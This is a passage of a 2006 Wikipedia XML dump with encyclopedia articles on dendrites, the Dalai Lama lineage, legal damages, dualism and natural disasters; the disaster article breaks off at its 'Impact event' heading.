  <page>
    <title>Digital Video</title>
    <id>8130</id>
    <revision>
      <id>25820865</id>
      <timestamp>2005-10-18T11:37:42Z</timestamp>
      <contributor>
        <ip>144.139.87.183</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Digital video]]</text>
    </revision>
  </page>
  <page>
    <title>Dendrite</title>
    <id>8131</id>
    <revision>
      <id>41546267</id>
      <timestamp>2006-02-28T01:50:18Z</timestamp>
      <contributor>
        <username>CDN99</username>
        <id>97002</id>
      </contributor>
      <minor />
      <comment>/* See also */ Category:Neurophysiology</comment>
      <text xml:space="preserve">(''The term '''dendrite''' may also refer to the metallurgical [[dendrite (metal)|dendrite]]''.)

''[http://www.dendrite.com Dendrite]'' ''is also the name of a New Jersey based provider of sales, marketing, clinical and compliance solutions and services for pharmaceutical and life sciences companies.''


In [[biology]], a '''dendrite''' is a slender, typically branched projection of a nerve cell, or [[neuron]], which conducts the electrical stimulation received from other cells to and from the cell body, or [[Soma (biology)|soma]], of the neuron from which it projects. These stimulations arrive through [[synapse]]s, which are located at various points throughout the dendritic arbor.
Dendrites were once believed to merely convey stimulation passively, without [[action potential]]s and without activation of voltage-gated [[ion channel]]s. In such dendrites the [[transmembrane potential|voltage change]] that results from stimulation at a synapse will depend on the passive cable properties of the dendrite. In excitable dendrites, [[voltage gated ion channel]]s help propagate excitatory synaptic stimulation whether or not an action potential is present in the [[axon]]. Additionally, action potentials can propagate back into the dendrites once initiated in the axon in most neurons. This backpropagating action potential is mediated by the activation of voltage-gated ion channels and can interact with synaptic input to alter the synaptic activity.

The structure and branching of a neuron's dendrites strongly influences how it integrates the input from many other neurons, particularly those that input only weakly. This integration is both &quot;temporal&quot; -- involving the summation of stimuli that arrive in rapid succession -- as well as &quot;spatial&quot; -- entailing the aggregation of excitatory and inhibitory inputs from separate branches or &quot;arbors.&quot;

The term &quot;dendrite&quot; comes from the [[Greek language|Greek]] word ''dendron'', meaning &quot;tree&quot;.

==See also==
*[[Dendritic spine]]
*[[Synapse]]
*[[Axon]]



{{Neuroscience-stub}}

[[Category:Neurophysiology]]
[[Category:Neurons]]

[[de:Dendrit (Biologie)]]
[[es:Dendrita]]
[[fr:Dendrite]]
[[is:Griplur]]
[[he:דנדריט]]
[[lt:Dendritas]]
[[pl:Dendryt]]
[[ru:Дендрит]]
[[sv:Dendrit]]</text>
    </revision>
  </page>
  <page>
    <title>Dalai Lama</title>
    <id>8133</id>
    <revision>
      <id>42031609</id>
      <timestamp>2006-03-03T09:20:52Z</timestamp>
      <contributor>
        <ip>217.206.184.196</ip>
      </contributor>
      <text xml:space="preserve">:'' This article describes the Dalai Lama lineage.  For information on the present Dalai Lama see [[Tenzin Gyatso, 14th Dalai Lama|Tenzin Gyatso]]. For the song see [[Dalai Lama (song)]].''
[[Image:HH wave.jpg|right|thumb|260px|The [[14th Dalai Lama|14th and current Dalai Lama]], Tenzin Gyatso (born 1935) ]]
[[Image:DalaiLama-13 lg.jpg|thumb|260px|The 13th Dalai Lama, [[Thubten Gyatso]] (1876-1933)]]
In [[Tibetan Buddhism]], the successive '''Dalai Lamas''' (''taa-la'i bla-ma'') form a [[tulku]] lineage of [[Gelugpa]] leaders which trace back to [[1391]]. Tibetan Buddhists believe the Dalai Lama to be the present incarnation of [[Avalokitesvara]] (&quot;Chenrezig&quot; [''spyan ras gzigs''] in Tibetan), the [[bodhisattva]] of compassion. Between the [[17th century]] and [[1959]], the Dalai Lama was the head of the Tibetan government, controlling a large portion of the country from the capital [[Lhasa]].  The Dalai Lamas never had authority over every region of [[Tibet]] nor over the other sects of Tibetan Buddhism. The current Dalai Lama (the 14th) is a respected [[Tibetan Buddhism|Tibetan Buddhist]] religious leader and figurehead of the [[International Tibet Independence Movement]]; in English, he is often granted the [[style (manner of address)|style]] &quot;His Holiness&quot; (or HH) before his title. 

The Dalai Lama is often thought to be the head of the Gelug school, but this position officially belongs to the [[Ganden Tripa]] (''dga' ldan khri pa'') (Holder of the Throne of Ganden [''dga' ldan''], the first monastery established by [[Je Tsongkhapa|Tsongkhapa]] [''btsong-ka-pa''], founder of the Gelug). 

The [[5th Dalai Lama]], with the support of [[Gushri Khan]], a Mongol ruler of Khökh Nuur, united Tibet by force. The Dalai Lamas continued to rule in Tibet until the [[People's Republic of China]] took direct control of the region in [[1959]].  The 14th Dalai Lama then fled to [[India]] and has since maintained a [[government in exile]].  See [[History of Tibet]] for further information.

&quot;Dalai&quot; means &quot;ocean&quot; in Mongolian, and &quot;[[Lama]]&quot; (''bla ma'') is the Tibetan equivalent of the [[Sanskrit]] word &quot;[[guru]]&quot;, and so may mean &quot;teacher&quot; or &quot;[[monk]].&quot; The actual title &quot;Dalai Lama&quot; is best translated as &quot;Ocean of Wisdom&quot;; it was first bestowed by the [[Mongolia|Mongolian]] ruler [[Altan Khan]] upon Sonam Gyatso, an abbot at the Drepung monastery who was widely considered the most eminent lama of his time. Although Sonam Gyatso became the first lama to hold the title &quot;Dalai Lama&quot;, due to the fact that he was the third member of his lineage, he became known as the &quot;3rd Dalai Lama&quot;. The previous two titles were conferred posthumously upon his earlier incarnations. The title &quot;Dalai Lama&quot; is presently granted to each of the spiritual leader's sucessive incarnations (for example, The 14th Dalai Lama's next incarnation will hold the title &quot;the 15th Dalai Lama&quot;). Tibetans call the Dalai Lama ''Gyawa Rinpoche'' (''rgya ba rin po che'') meaning &quot;Precious Victor,&quot; or ''Yeshe Norbu'' (''ye shes nor bu'') meaning &quot;Wisdom Jewel&quot;. The 14th Dalai Lama, as well as each of his predecessors, are considered to be the incarnations of the Buddha of Compassion.

Upon the death of the Dalai Lama, his monks institute a search for the Lama's [[reincarnation]], or ''tulku'' (''sprul sku''), a small child. Familiarity with the possessions of the previous Dalai Lama is considered the main sign of the reincarnation.   The search for the reincarnation typically requires a few years, which results in a gap in the list of the Dalai Lamas. The reincarnation is then brought to Lhasa to be trained by the other Lamas. 

Despite its officially secular stance, the government of the [[People's Republic of China]] has claimed the power to approve the naming of high reincarnations in Tibet.  This decision cites a precedent set by the [[Qianlong Emperor]] of the [[Qing Dynasty]], who instituted a system of selecting the Dalai Lama and the [[Panchen Lama]] by means of a lottery which utilised a golden urn with names wrapped in barley balls.  Recently, this precedent was called upon to name the Panchen Lama, who is empowered to recognize the new Dalai Lama.  There is some speculation that with the death of the current Dalai Lama, the PRC will direct the selection of a successor.  The current Dalai Lama has repeatedly stated that he will never be reborn inside territory controlled by the People's Republic of China [http://www.tibet.com/DL/next-reincarnation.html], and has occasionally suggested that he might choose to be the last Dalai Lama by not being reborn at all. However, he has also stated that the purpose of his repeated incarnations is to continue unfinished work and, as such, if the situation in Tibet remains unchanged, it is very likely that he will be reborn to finish his work [http://dalailama.com/page.54.htm]. Additionally, in the draft constitution of future Tibet, the institution of the Dalai Lama can be revoked at any time by a democratic majority vote of two-thirds of the Assembly. It is also worth mentioning that the 14th Dalai Lama has stated &quot;Personally, I feel the institution of the Dalai Lama has served its purpose.&quot;[http://dalailama.com/page.54.htm].

Starting with the 5th Dalai Lama, until the 14th Dalai Lama's exile in 1959, the Dalai Lamas resided in Lhasa in the [[Potala Palace]] during winter and in the [[Norbulingka]] residence during summer. Since 1959, the Dalai Lama has resided in [[Dharamsala]] in Northern India, and the Tibetan Government in Exile has its headquarters there.

== List of Dalai Lamas ==
# [[Gedun Drub, 1st Dalai Lama|Gedun Drub]], (dge 'dun 'grub) [[1391]]-[[1474]]
# [[Gendun Gyatso, 2nd Dalai Lama|Gendun Gyatso]], (dge 'dun rgya mtsho) [[1475]]-[[1541]]
# [[Sonam Gyatso, 3rd Dalai Lama|Sonam Gyatso]], (bsod nams rgya mtsho) [[1543]]-[[1588]] 
# [[Yonten Gyatso, 4th Dalai Lama|Yonten Gyatso]], (yon tan rgya mtsho) [[1589]]-[[1616]]
# [[Lobsang Gyatso, 5th Dalai Lama|Lobsang Gyatso]], (blo bzang rgya mtsho) [[1617]]-[[1682]]
# [[Tsangyang Gyatso, 6th Dalai Lama|Tsangyang Gyatso]], (tshang dbyangs rgya mtsho) [[1683]]-[[1706]]
# [[Kelzang Gyatso, 7th Dalai Lama|Kelzang Gyatso]], (bskal bzang rgya mtsho) [[1708]]-[[1757]]
# [[Jamphel Gyatso, 8th Dalai Lama|Jamphel Gyatso]], (byams spel rgya mtsho)[[1758]]-[[1804]]
# [[Lungtok Gyatso, 9th Dalai Lama|Lungtok Gyatso]], [[1806]]-[[1815]]
# [[Tsultrim Gyatso, 10th Dalai Lama|Tsultrim Gyatso]], (tshul khrim rgya mtsho) [[1816]]-[[1837]]
# [[Khedrup Gyatso, 11th Dalai Lama|Khendrup Gyatso]], [[1838]]-[[1856]]
# [[Trinley Gyatso, 12th Dalai Lama|Trinley Gyatso]], (sprin las rgya mtsho) [[1856]]-[[1875]]
# [[Thubten Gyatso, 13th Dalai Lama|Thubten Gyatso]], [[1876]]-[[1933]]
# [[Tenzin Gyatso, 14th Dalai Lama|Tenzin Gyatso]], (bstan 'dzin rgya mtsho) [[1935]] - present



==See also==
*[[Oath of Refuge]] (to the Dalai Lama)
*[[History of Tibet]]
*[[Free Tibet movement]]
*[[Government of Tibet in Exile]]

==External links==
*[http://www.dalailama.com The Official Site]
*[http://news.mpr.org/features/200105/07_newsroom_dalai/bios.shtml The 13 Previous Dalai Lamas]
*[http://www.peacemakersguide.org/peace/Peacemakers/Dalai-Lama.htm Bruderhof Peacemakers Guide profile on the Dalai Lama]
*[http://www.independent-media.tv/item.cfm?fmedia_id=7628&amp;fcategory_desc=Philosophy The Dalai Lama : A Life Less Ordinary]

[[Category:Lamas]]
[[Category:Monks and nuns]]
[[Category:Politics of Tibet]]
[[Category:Gelug]]
[[Category:Lamas]]
[[Category:Tulkus]]

[[da:Dalai Lama]]
[[de:Dalai Lama]]
[[et:Dalai-laama]]
[[es:Dalai Lama]]
[[eo:Dalai Lamao]]
[[fr:Dalaï Lama]]
[[gd:Dalai Lama]]
[[ko:다라이라마]]
[[is:Dalai Lama]]
[[it:Dalai Lama]]
[[he:דלאי לאמה]]
[[hu:Dalai láma]]
[[nl:Dalai Lama]]
[[ja:ダライ・ラマ]]
[[no:Dalai Lama]]
[[pl:Dalajlamowie]]
[[pt:Dalai Lama (religião)]]
[[sq:Dalai Lama]]
[[fi:Dalai-lama]]
[[sv:Dalai Lama]]
[[vi:Đạt Lai Lạt Ma]]
[[zh:达赖喇嘛]]</text>
    </revision>
  </page>
  <page>
    <title>Damages</title>
    <id>8134</id>
    <revision>
      <id>41954751</id>
      <timestamp>2006-03-02T21:32:10Z</timestamp>
      <contributor>
        <username>Natalinasmpf</username>
        <id>107009</id>
      </contributor>
      <minor />
      <comment>fmt whitespace</comment>
      <text xml:space="preserve">In [[law]], '''damages''' refers either to the harm suffered by a [[plaintiff]] in a [[lawsuit|civil action]], or to the money paid or awarded to the plaintiff in [[compensation]] for such harm.

Generally, there are three kinds of damages: special damages, general damages, and punitive damages.  Special damages are the enumerable or quantifiable monetary costs or losses suffered by the plaintiff, or the compensation therefore.  For example, medical costs, repair or replacement of damaged property, lost wages, lost earning potential, loss of business, loss of irreplaceable items, loss of support, etc.  General damages are items of harm or loss suffered, for which only a subjective value may be attached.  Examples of this include [[personal injury]], physical or emotional pain and suffering, loss of companionship, [[loss of consortium]], disfigurement, loss of reputation, loss or impairment of mental or physical capacity, loss of enjoyment of life, etc.

== Compensatory damages ==

'''Compensatory damages''' are damages awarded for [[Civil law (private law)|civil cases]]. They are awarded to the successful party, in the case of the plaintiff, as a compensation for the pain undergone, and in the case of the defendant, for legal services and all hardships undergone during the trial. This is the rule in many countries other than the United States. In the United States, you generally are not entitled to your attorney fees or for hardships undergone during trial if you win. 

=== History ===
Among the [[Anglo-Saxons|Saxons]], a price called [[Weregeld|''Weregeld'']] was payed for [[homicide]] by the killer, in part to the family of the victim, in part to the local king.

== Statutory damages ==

''' Statutory damages ''' are laid down in law.  Mere violation of the law can entitle the victim to a statutory award.

== Punitive damages ==

Generally, '''punitive damages''', which are termed ''exemplary damages'' in the [[United Kingdom]], are not awarded in order to compensate the plaintiff, but in order to reform or deter the defendant and similar persons from pursuing a course of action such as that which damaged the plaintiff.  Punitive damages are awarded only in special cases where conduct was egregiously invidious, and are over and above the amount of compensatory damages.  Great judicial restraint is expected to be exercised in their application. In the [[United States]] punitive damages awards are subject to the limitations imposed by the [[due process of law]] clauses of the [[Fifth Amendment to the United States Constitution|Fifth]] and [[Fourteenth Amendment to the United States Constitution|Fourteenth Amendments]] to the [[United States Constitution]].

In [[England]] and [[Wales]], exemplary damages are limited to the circumstances set out by [[Lord Patrick Devlin]] in the leading case of ''Rookes v. Barnard''. They are

1. Oppressive, arbitrary or unconstitutional actions by the servants of government.

2. Where the defendant's conduct was 'calculated' to make a profit for himself.

3. Where a statute expressly authorises the same.

Rookes v Barnard has been much criticised and has not been followed in [[Canada]] or [[Australia]] or by the [[Privy Council]].

== Restitutionary or disgorgement damages ==

In certain areas of the law another head of damages has long been available, whereby the defendant is made to give up the profits made through the civil wrong in [[restitution]]. The plaintiff thereby gains damages which are not measured by reference to any loss sustained. In some areas of the law this heading of damages is uncontroversial; most particularly [[intellectual property]] rights and breach of fiduciary relationship.  

In England and Wales the [[House of Lords]] case of ''Attorney-General v. Blake'' opened up the possibility of restitutionary damages for breach of contract.  In this case the profits made by a defecting spy, [[George Blake]], for the publication of his book, were awarded to the British Government for breach of contract.  The case has been followed in English courts, but the situations in which restitutionary damages will be available remain unclear.

The basis for restitutionary damages is much debated, but can usually seen to be based on denying a wrongdoer any profit from his wrong.  The really difficult question, and one which is currently unanswered, relates to what wrongs should lead to the availability of this remedy.

== Nominal damages ==

On the other hand, nominal damages are very small damages awarded to show that the loss or harm suffered was technical rather than actual. Perhaps the most famous nominal damages award in modern times has been the $1 verdict against the [[National Football League]] (NFL) in the 1986 antitrust suit prosecuted by the [[United States Football League]]. Although the verdict was automatically trebled pursuant to [[antitrust]] law in the United States, the resulting $3 judgment was regarded as a victory for the NFL. Historically, one of the best known nominal damage awards was the [[farthing]] that the [[jury]] awarded to James Whistler in his libel suit against John Ruskin.

== Economic damages ==
Economic damages in [[civil litigation]] are computed as the financial loss suffered by a person due to the wrongful actions of another person. The wrongful action may be either accidental, such as an auto accident, or deliberate, such as wrongful termination or harassment in employment situations. In a court of law, it is often useful for the lawyers for both the plaintiff and the defendant to employ economists to compute the value of the loss. The economists will not evaluate whether the action was wrongful, only how much money is required to return the plaintiff to the fiscal position he or she was in prior to the loss. In such a case, it is incumbent on both economists to fully disclose their methodology and how they reached their conclusions. The finder of fact will choose the result which is most in accord with the [[preponderance of the evidence]], including any testimony given by the economist(s).

==See also==
*[[Non-economic damages caps]]

[[Category:Judicial remedies]]

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  <page>
    <title>Dualism</title>
    <id>8135</id>
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        <username>Everyking</username>
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      <comment>/* Mind-Matter Dualism in Eastern Philosophy */</comment>
      <text xml:space="preserve">{{mergefrom|Combative dualism}}

{{Portalpar|Philosophy|Socrates.png|26px}}The term '''''dualism''''' can refer to a variety of doctrines, mainly in [[theology]] and [[philosophy]], each involving the purported existence of two substances ( often opposites) of some kind. These opposites can be, among other things, opposing forces, or opposing ontological or epistemic categories.

== Theological usage ==
=== &quot;Western&quot; or &quot;theistic&quot; usage ===
''Main Article: [[Theology]]''

In [[theology]], ''dualism'' can refer to ''ditheism'': the belief that there are two basic principles, usually personified as [[deity|deities]], that work in polar opposition to each other.  For example, one god is [[Goodness and value theory|good]], the other [[evil]]; or one god works for order, the other for chaos.  Both the [[Zoroastrian]] religion, three millennia old and still extant, and the essentially dead [[Gnosticism|gnostic]] religion (and its variations such as, [[Manichaeism]], [[Bogomils]], [[Cathar|Catharism]], etc.) are dualistic, as is [[Mandaeanism]].  The third-century Christian [[heresy|heretic]] [[Marcion of Sinope]] held that the Old and New Testaments were the work of two opposing gods.  The Christian conflict between [[God]] (the source of all good) and [[Satan]] (the source of all evil) is sometimes described in dualistic terms.

=== &quot;Eastern&quot; or &quot;mystic&quot; usage ===
''Main Article: [[Mysticism]]''

Alternatively, ''dualism'' can mean the tendency of humans to perceive and understand the world as being divided into just two [[categorization|categories]]. In this sense, it is dualistic when one perceives a tree as a thing separate from everything surrounding it, or when one perceives a &quot;self&quot; that is distinct from the rest of the world. In traditions such as [[Zen]], a key to enlightenment is &quot;overcoming&quot; this sort of dualism, without merely substituting it with [[monism]] or [[Pluralism (philosophy of mind)|pluralism]].

In [[Hinduism|orthodox Indian philosophy]], on the other hand, monism is explicitly affirmed by [[Advaita Vedanta|advaita vedanta]], while it is rejected in favor of the dualism or pluralism of [[Dvaita]]; other schools, such as [[ Vishishtadvaita]] and [[bhedabheda]] try to find routes in between.

[[Image:Yin yang.svg|right|100px|thumb|The Tai-chi symbolizes the duality in nature and all things in Taoist religion.]]The opposition and combination of the universe's two basic principles of [[Yin Yang|Yin and Yang]] is a large part of [[Taoism|Taoist]] religion. Some of the common associations with Yang and Yin, respectively, are: male and female, [[light]] and [[darkness|dark]], active and passive, motion and stillness. Although these interpretations are common and understandable misconceptions of the greater meaning. The Tai-Chi in actuality has very little to do with dualism.

The complementary aspects of [[masculinity]] and [[femininity]] are revered by certain [[Neo-pagan]] religions.

== Usage in philosophy of mind ==
''Main Article: [[Dualism (philosophy of mind)|Mind-body dualism]]''

In [[philosophy of mind]], dualism is any of a narrow variety of views about the relationship between mind and matter, which claims that mind and matter are two ontologically separate categories. In particular, mind-body dualism claims that neither the mind nor matter can be reduced to each other in any way, and thus is opposed to [[materialism]] in general, and [[reductive materialism]] in particular. Mind-body dualism can exist as [[substance dualism]] which claims that the mind and the body are composed of a distinct substance, and as [[property dualism]] which claims that there may not be a distinction in substance, but that mental and physical properties are still categorically distinct, and not reducible to each other. This type of dualism is sometimes referred to as &quot;''mind and body''&quot;. This is in contrast to [[monism]], which views mind and matter as being ultimately the same kind of thing.  See also [[Cartesian dualism]], [[substance dualism]], [[epiphenomenalism]].

The belief in possessing both a body and a spirit as two separate entities was first documented in approximately 1000 B.C. by Zoroastrianism, and has become a very common view in the present day.

=== Mind-Matter Dualism in Eastern Philosophy ===
During the classical era of [[Buddhist philosophy in India]], philosophers such as [[Dharmakirti]] argue for a dualism between states of consciousness and [[Buddhist atoms]] (Buddhist atoms are merely the basic building blocks that make up reality), according to &quot;the standard interpretation&quot; of Dharmakirti's [[Buddhist metaphysics]]. (See Georges B.J. Dreyfus, ''Recognizing Reality'', [[SUNY Press]], for more information.) Typically, in [[Western philosophy]], dualism is considered to be a dualism between mind (nonphysical) and brain (physical), which ultimately involves mind interacting with pieces of tissue in the brain, and therefore, also interacting, in some sense, with the micro-particles (basic buildling blocks) that make up the brain tissue. Buddhist dualism, in Dharmakirti’s sense, is different in that it is a dualism between not the mind and brain which is made of particles, but rather, between states of consciousness (nonphysical) and basic building blocks (according to the [[Buddhist atomism]] of Dharmakirti, Buddhist atoms are also nonphysical: they are unstructured points of energy). Like so many Buddhists from 600-1000 CE, Dharmakirti’s philosophy involved [[mereological nihilism]], meaning that other than states of consciousness, the only things that exist are momentary quantum particles, much like the particles of [[quantum physics]] ([[quarks]], [[electrons]], etc.).  Dharmakirti’s dualism however has one similarity to Western accounts of mind-body dualism, Dharmakirti’s dualism may also be considered as being not well worked-out, where few philosophers would assert that clear accounts of dualism in either tradition have been given, and many philosophers will assert, following Descartes, that dualism involves serious problems that remain unsolved.

== Usage in philosophy of science ==
In [[philosophy of science]], ''dualism'' often refers to the dichotomy between the &quot;subject&quot; (the observer) and the &quot;object&quot; (the observed). Some critics of Western science see this kind of dualism as a fatal flaw in science. In part, this has something to do with potentially complicated interactions between the subject and the object, of the sort discussed in the [[social construction]] literature.

== Usage in physics ==
''Main Article: [[Wave-particle duality]]''

In [[physics]], ''dualism'' refers generally to the duality of waves and particles.

==Usage in contemporary feminist theory==

An interesting theory relating to dualism and a contemporary feminist world view is presented by [[Susan Bordo]]. Bordo contends that dualism has shaped Western culture since the time of [[Plato]], through [[Augustine of Hippo|Augustine]] and [[Descartes]], up to the present day. 

All three of these philosophers provide instructions, rules or models as to how to gain control over the body, with the ultimate aim of learning to live without it. The mind is superior to the body, and strength comes from disregarding the body's existence to reach an elevated spiritual level.

Bordo believes that the existence of [[anorexia nervosa]] is the most telling and compelling argument that dualism is still a key aspect of modern thinking. She believes it is oftentimes a dangerous way of looking at the world. Those who are [[anorexic]] seek to gain ultimate control, and depriving oneself of food makes one a master of one's own body, which creates a sense of purity and perfection. Again, Bordo contends this stems from dualism, the separation of the mind and body.

==Usage in recent religious and philosophical movements==

In recent years, with world travel and rapid communication systems, the distinction between &quot;eastern&quot; and &quot;western&quot; philosophy has been less significant than in previous times. In the wake of these changes new religious and philosophical movements have drawn freely upon all the world's philosophy to create syntheses and compendia based around [[new age]] and [[holism|holistic]] ideas. Dualism is often cited within these groups, along with ideas of [[Oneness (concept)|Oneness]], [[:Category:Holism|Wholeness]] and [[Theory of multiple intelligences|Theories of multiple intelligences]].

In the [[Emin Society]] (printed in their archives) Dualism is presented as the Law of Two, which is said to have [[Octave|seven levels]]:

* First level: Apparent Opposites
* Second level: The apparent opposites are actually two ends of the same bar (or the North-South [[vector]] is split by the East-West vector) (or the law of things adjacent)
* Third level: [[Pitching]] and [[Yaw|Yawing]], (or [[Basque]] [[bargaining]])
* Fourth level: [[Balance]] and [[Movement]]
* Fifth level: [[Solution|Solve]] and [[Coagulation|Coagulate]]
* Sixth level: Over and Under [[Compensation]]
* Seventh level: Apparent movement between two poles (or [[heat|hot and cold]])

== See also ==
* [[Dualism (philosophy of mind)]]
* [[Advaita]]
* [[Dialectic]]
* [[Monism]]
* [[Non-Dualism]]
* [[Pluralism]]
* [[Reductionism]]

== External links ==
* [http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv2-05 ''Dictionary of the History of ideas'':] Dualism in Philosophy and Religion
* [http://www.cogwriter.com/two.htm Binitarian View: One God, Two Beings from Before the Beginning] Discusses the biblical and historical belief of the nature of God
* [http://www.renneslechateaubooks.info/languedocdualism/index.htm Books on (Religious) Dualism] Recommendations and Reviews

[[Category:Metaphysics]]
[[Category:Dualism]]

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  <page>
    <title>Disaster</title>
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      <id>41768088</id>
      <timestamp>2006-03-01T16:36:14Z</timestamp>
      <contributor>
        <ip>65.249.214.173</ip>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">A '''disaster''' (from [[Latin language|Latin]] meaning, &quot;bad star&quot;) is the impact of a [[natural disaster|natural]] or man-made event that negatively affects [[life]], [[property]], livelihood or [[industry]] often resulting in permanent changes to human [[society|societies]], [[ecosystem]]s and [[natural environment|environment]]. (Note that the event itself is not a disaster; it is the impact which is called a disaster.) Disasters manifest as [[hazard]]s exacerbating [[vulnerable]] conditions and exceeding individuals' and communities' means to survive and thrive.  Most events included herein are compiled from United States Federal Emergency Management Agency and Department of Homeland Security. [http://www.fema.gov/hazards/][http://www.dhs.gov/dhspublic/]

The word's roots imply that when the [[star]]s are in a bad position, a disaster is about to happen. The Latin pejorative ''dis'' and ''astro'', star (L. ''aster''), creating the Italian ''disastro'', which came in to the English language in the 16th century (OED 1590) through the French ''desastre''.

==Natural disasters==
A [[Natural phenomenon]] can easily cause a [[natural disaster]]. Appearing to arise without direct human involvement, natural disasters are sometimes called an [[act of God]]. A [[natural disaster]] may become more severe because of human actions prior, during or after the disaster itself.  A specific disaster may spawn different types of events and may reduce the survivability of the initial event.  A classic example, is an earthquake that collapses homes, trapping people and breaking gas mains that then ignite, and burn people alive while trapped under debris. Human activity in [[risk]] areas may cause natural disasters. Volcanos are particularly prone to causing other events like fires, lahars, mudflows, landslides, earthquakes, and tsunamis.
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===Avalanche===
{{main|Avalanche}}
An [[avalanche]] is a slippage of built-up snow down an incline, possibly mixed with ice, rock, soil or plantlife in what is called a debris avalanche.  Avalanches are categorized as either slab or powder avalanches.  Avalanches are a major danger in the mountains during the winter as a large one can run for miles, and can create massive destruction of the lower forest and anything else in its path.  For example, in [[Montroc, France]], in [[1999]] 300,000 cubic metres of snow slid on a 30 degree slope, achieving a speed of 100 km/h. It killed 12 people in their chalets under 100,000 tons of snow, 5 meters deep.  The Mayor of [[Chamonix]] was charged with manslaughter. [http://www.pistehors.com/articles/avalanche/montroc.htm]
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===Cold===
Extreme cold snaps are hazardous to humans and their livestock.  In a [[2003]] Mongolian cold snap, almost 30,000 livestock animals perished due to excessive snow and cold [http://abob.libs.uga.edu/bobk/ccc/cc012203.html].  When the temperature drops, caloric intake must increase to maintain body heat for shivering [http://www.naturalstrength.com/nutrition/detail.asp?ArticleID=1168].  
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===Disease===
{{main articles|[[Disease]], [[Epidemic]], and [[Pandemic]]}}
Disease becomes a disaster when it spreads in a pandemic or epidemic as a massive outbreak of an infectious agent.  Disease is historically the most dangerous of all natural disasters. Different epidemics are caused by different diseases, and different epidemics have included the [[Black Death]], [[smallpox]], and [[AIDS]]. The [[Spanish flu]] of 1918 was the deadliest ever epidemic, it killed 25-40 million people. The [[Black Death]], which occurred in the [[14th Century]], killed over 20 million people, one third of [[Europe]]'s population.  Plant and animal life may also be affected by disease epidemics and pandemics.
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===Drought===
{{main|Drought}}
A drought is a long-lasting [[weather]] pattern consisting of dry conditions with very little or no [[precipitation (meteorology)|precipitation]]. during this period, [[food]] and [[water]] supplies can run low, and other conditions, such as [[famine]], can result. Droughts can last for several years and are particularly damaging in areas in which the residents depend on [[agriculture]] for survival. The [[Dust Bowl]] is a famous example of a severe drought.
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===Earthquake===
[[Image:SanFranHouses06.JPG|thumb|100px|right|San Francisco]]
{{main articles|[[Earthquake]], [[Foreshock]], and [[Aftershock]]}}
An earthquake is a sudden shift or movement in the [[tectonic plates|tectonic plate]] in the [[Earth|Earth's]] crust. On the surface, this is manifested by a moving and shaking of the ground, and can be massively damaging to poorly built structures. The most powerful earthquakes can destroy even the best built of structures. In addition, they can trigger secondary disasters, such as [[tsunami]]s and volcanic eruptions. Earthquakes occur along [[geologic fault|fault lines]], and are unpredictable. They are capable of killing hundreds of thousands of people, such as in the [[Tangshan earthquake|1976 Tangshan]] and [[2004 Indian Ocean Earthquake|2004 Indian Ocean]] earthquakes.
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===Famine===
{{main|Famine}}
Famine is a natural disaster characterized by a widespread lack of [[food]] in a region, and can be characterized as a lack of [[agricultural|agriculture]] foodstuffs, a lack of [[livestock]], or a general lack of all foodstuffs required for basic [[nutrition]] and survival. Famine is almost always caused by pre-existing conditions, such as [[drought]], but its effects may be exacerbated by social factors, such as [[war]]. Particularly devastating examples include the [[Ethiopian famine]] and the [[Irish Potato Famine]].
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===Fire===
[[Image:Wildfire.jpg|thumb|100px|right|Forest fire]]
{{main articles|[[Bush fire]], [[Fire]], [[Mine fire]], and [[Wildfire]]}}
A fire is a natural disaster that may destroy ecosystems like grasslands, forests causing great loss of life, property, livestock and wildlife.  Bush fires, forest fires and mine fires are generally started by [[lightning]], but also by human negligence or [[arson]], and can burn thousands of square kilometers. An example of a severe forest fire is the [[Oakland Hills firestorm]]. A mine fire started in [[Centralia, Pennsylvania]] in 1962 decimated the town and continues to burn. Some of the biggest city fires are The [[Great Chicago Fire]], The [[Great Fire of London]], and The San Francisco Fire. [http://www.fire-extinguisher101.com/biggest-fires.html]
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===Flood===
[[Image:Flood.jpg|thumb|100px|right|North Carolina 1916]]
{{main|Flood}}
A flood is a natural disaster caused by too much [[rain]] or [[water]] in a location, and could be caused by many different sets of conditions. Floods can be caused by prolonged rainfall from a [[storm]], including [[thunderstorm]]s, rapid melting of large amounts of [[snow]], or [[river]]s which swell from excess precipitation upstream and cause widespread damage to areas downstream, or less frequently the bursting of man-made dams. A [[river]] which floods particularly often is the [[Huang He]] in [[China]], and a particularly damaging flood was the [[Great Flood of 1993]].
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===Hail===
[[image:hailstorm.jpg|thumb|100px|right|Hailstorm]]
{{main|Hailstorm}}
A hailstorm is a natural disaster where a thunderstorm produces a numerous amount of [[hailstone]]s which damage the location in which they fall. Hailstorms can be especially devastating to [[farm]] fields, ruining crops and damaging equipment. A particularly damaging hailstorm hit [[Munich]], [[Germany]] on [[August 31]], [[1986]], felling thousands of trees and causing millions of dollars in [[insurance]] claims.  [[Skeleton Lake]] was named so after 300-600 people were killed by a hailstorm.
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===Heat===
{{main|Heat wave}}
A heat wave is a disaster characterized by [[heat]] which is considered extreme and unusual in the area in which it occurs. Heat waves are rare and require specific combinations of [[weather]] events to take place, and may include [[temperature inversion]]s, [[katabatic winds]], or other phenomena. The worst heat wave in recent history was the [[European Heat Wave of 2003]].
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===Hurricane===
[[Image:Ivan iss.jpg|thumb|100px|right|Hurricane Ivan]]
{{main|Tropical cyclone}}
A hurricane is a low-pressure cyclonic [[storm]] system which forms over the oceans. It is caused by evaporated [[water]] which comes off of the [[ocean]] and becomes a [[storm]]. The [[Coriolis Effect]] causes the storms to spin, and a hurricane is declared when this spinning mass of storms attains a wind speed greater than 74mph. In different parts of the world hurricanes are known as cyclones or typhoons. The former occur in the [[Indian Ocean]], while the latter occur in the Eastern [[Pacific Ocean]]. The most damaging hurricane in the United States was [[Hurricane Katrina]], which hit the United States Gulf Coast in [[2005]].
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===Hypernova===
A [[hypernova]] is the universe's most extreme and cataclysmic force. A hypernova is when a [[hypergiant]] star (a star at least 95-210 times bigger than our own [[Sun]]) explodes suddenly. A hypernova may have been the cause of the [[Ordovician-Silurian extinction events]]. When a hypergiant exploded, it sent a  large [[gamma-ray burst]] to Earth destroying 90-95% of all living species on Earth at that time. A hypergiant star within at least 1500-2000 [[lightyears]] from Earth, when it explodes to a hypernova, is an automatic Earth extinction event. All species would be wiped out. The nearest hypergiant ,that could explode within 10000 to 2 million years from now, is [[Eta Carinae]]. 
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===Impact event===
[[Image:Impact event.jpg|thumb|100px|right|Artist's impression]]
{{main|Impact event}}
